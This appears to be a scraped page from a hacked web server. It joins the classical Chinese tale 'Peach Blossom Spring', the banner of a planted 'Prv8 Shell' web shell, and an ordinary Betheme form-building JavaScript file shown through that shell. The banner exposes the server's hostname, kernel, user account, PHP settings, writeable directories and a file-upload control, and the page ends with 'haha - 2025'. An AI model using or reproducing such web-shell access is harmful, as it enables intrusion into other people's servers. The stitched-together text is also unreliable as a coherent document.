晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/setupTZh/betheme/visual-builder/assets/js/forms/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/setupTZh/betheme/visual-builder/assets/js/forms/fields/dynamic_items.js
function mfn_field_dynamic_items(field) {
	let x = 0;
	let items = [];
	let options = [];

	if( _.has(edited_item['attr'], field.id) && edited_item['attr'][field.id].length ){
		items = edited_item['attr'][field.id];
	}else if( _.has(field, 'std') && field.std.length ){
		items = field.std;
	}

	if( _.has(field, 'options') ){
		options = field.options;
	}

	let html = `<div class="form-content"><div class="form-group dynamic-items">
		<div class="dynamic_items_wrapper" data-name="${field.id}" data-preview="${field.options.preview}">
			<ul class="dynamic_items_preview di-preview-${field.options.preview}">
				${ _.map( items, function(el, i) {
					return `<li data-uid="${el.uid}" class="uid-${el.uid}" data-order="${i}"><img src="${el.url}" alt=""><a class="mfn-option-btn mfn-button-delete di-remove" data-tooltip="Delete" href="#"><span class="mfn-icon mfn-icon-delete"></span></a></li>`;
				}).join('') }
			</ul>

			<label>Add new</label>

			<div class="dynamic_items_form">
				<div class="dynamic_items_row">

					${ _.has(options, 'var') ?
						`<div class="di-input-wrapper di-input-rule">
							<select class="mfn-form-control di-input">
								${ _.map( options.var, function(va, v) {
									return `<option value="${v}">${va}</option>`;
								}).join('') }
							</select>
						</div>`
					 : 'Undefined var option.' }

					 ${ _.has(options, 'options') ?

					 	_.map( options.options, function(fie, f) {
					 		let input_class = `di-if-${f}`;
					 		if( ++x == 1 ) input_class += ' di-input-active';

					 		let rh = `<div class="di-input-wrapper ${input_class}">`;
						 		if( fie.type == 'select-img' ){
						 			let input_uid = Math.random().toString(36).substring(4);

						 			rh += `<a href="#" data-modal="mfn-modal-${input_uid}" class="di-show-modal mfn-btn btn-icon-left"><span class="btn-wrapper"><span class="mfn-icon mfn-icon-add"></span>Select</span></a>`;
						 			rh += `<div class="mfn-modal mfn-modal-payments" id="mfn-modal-${input_uid}"><div class="mfn-modalbox mfn-form mfn-shadow-1"><div class="modalbox-header"><div class="options-group"><div class="modalbox-title-group"><span class="modalbox-icon mfn-icon-add-big"></span><div class="modalbox-desc"><h4 class="modalbox-title">Select payment method</h4></div></div></div><div class="options-group"><a class="mfn-option-btn mfn-option-blank btn-large btn-modal-close inner" href="#"><span class="mfn-icon mfn-icon-close"></span></a></div></div><div class="modalbox-content"><ul class="mfn-items-list list">`;
						 			
						 			_.map( fie.options, function(li, l) {
						 				rh += `<li><a href="#"><span class="mfn-icon"><img src="${li}" alt=""></span><p class="titleicon">${l}</p></a></li>`;
						 			}).join('')

						 			rh += `</ul></div></div></div>`;

						 		}else if( fie.type == 'upload' ){
						 			rh += `<div class="form-group browse-image has-addons has-addons-append empty">
						 				<div class="form-control has-icon has-icon-right"><input type="text" name="" class="mfn-form-control mfn-field-value mfn-form-input preview-icon" value="" /><a class="mfn-option-btn mfn-button-delete" title="Delete" href="#"><span class="mfn-icon mfn-icon-delete"></span></a></div>
						 				<div class="form-addon-append"><a href="#" class="mfn-button-upload"><span class="label">Browse</span></a></div>
						 				<div class="selected-image"></div>
						 				</div>`;
						 		}else{
						 			rh += `Undefined field`;
						 		}
						 	rh += `</div>`;
						 	return rh;
					 	}).join('')

					 : 'Undefined options' }

				</div>
			</div>

		</div>
	</div></div>`;
	return html;
}

haha - 2025